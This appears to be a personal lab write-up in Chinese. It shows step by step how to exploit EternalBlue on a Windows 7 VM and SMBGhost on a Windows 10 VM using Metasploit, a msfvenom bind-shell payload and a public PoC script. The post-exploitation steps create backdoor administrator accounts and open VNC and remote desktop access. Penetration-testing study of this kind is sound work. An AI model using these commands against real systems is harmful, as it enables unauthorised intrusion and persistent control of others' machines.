永恒之蓝
实验环境:win7,kali
实验目的:拿到win7管理员权限
扫描该网段 nmap -sP 192.168.164.0/24,查看win7ip,也可在win7上查询
扫描端口,445,永恒之蓝是通过445端口进行攻击的
masscan --rate=10000 -p1-65535 192.168.164.128
测试连通性,互相ping通
输入命令masfconsole,进入框架
输入命令search ms17-010(永恒之蓝漏洞代码,可以百度查)
0是攻击,3是监测是否可以攻击
先进行检测 命令:use 3
输入options,填写参数(标注为yes的都是必填项)
可以看到RHOSTS(攻击对象ip)没有参数
命令set rhosts 192.168.164.128,将参数填入
由于,我的虚拟机win7不存在此漏洞所以我就不进行下去了。后面步骤就是use 0或 use exploit/windows/smb/ms17_010_eternalblue 进行攻击,将必填参数填写,最后输入run命令执行就可进入win7
获得shell控制台:shell,成功后输入shell就可,显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权。
获得后可以,通过命令创建管理员用户就可直
进行后门植入(创建新的管理员账户)
net user hack 123456 /add //在windows 7上创建一个hack的用户,以便下次访问
net localgroup administrators hack /add //将hack加入到windows 7的本地管理员组中,以便获得更大权限
net user //查看windows 7本地用户
net localgroup administrators //查看windows 7本地管理员
在kali中输入 run vnc 可进入win7桌面(可显示)
更多命令可百度。
永恒之黑
漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
漏洞验证之蓝屏攻击
实验环境:win10永恒之黑漏洞版,关闭防火墙
将软件解压缩win+r,cmd,将软件拖入shell,根据提示输入win10ip。
利用漏洞开始攻击
实验环境:win10永恒之黑漏洞版,kali
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
生成反向连接木马
命令 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
输入命令:msfconsole进入框架
开启kali监听
依次执行下面命令
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp(刚刚替换的shellcode,后门)
set lport 8888(端口)
set rhost 192.168.164.132(win10ip)
run
新建窗口
将SMBGhost_RCE_PoC-master复制到root目录下
命令:cp -r '/home/kali/Desktop/SMBGhost_RCE_PoC-master' '/root/'
进入SMBGhost_RCE_PoC-master
命令:cd /root/SMBGhost_RCE_PoC-master
命令:python exploit.py -ip 192.168.164.132
到倒数第二行后,需要随便摁一个键执行
发现win10蓝屏了攻击成功
继续利用此漏洞做出更多,上一步蓝屏可能不会出现meterpreter(会话),可以ctrl+c结束第一个窗口,然后再次run,第二个窗口再次执行python exploit.py -ip 192.168.164.132,不成功就重复此操作(看运气)
输入shell进入win10的doc界面
exit可退出
命令:net user abc 1 /add
创建新用户abc,密码为1
将用户abc加入到管理员组
发现win10成功添加了abc用户
exit推出shell
run vnc进入win10桌面(前提win10没开防火墙)
开启win10远程桌面功能
返回真实机win+r输入mstsc(远程登录),输入win10ip,以abc账户登录(有个缺点需要返回win10确定,但是学习实验够了)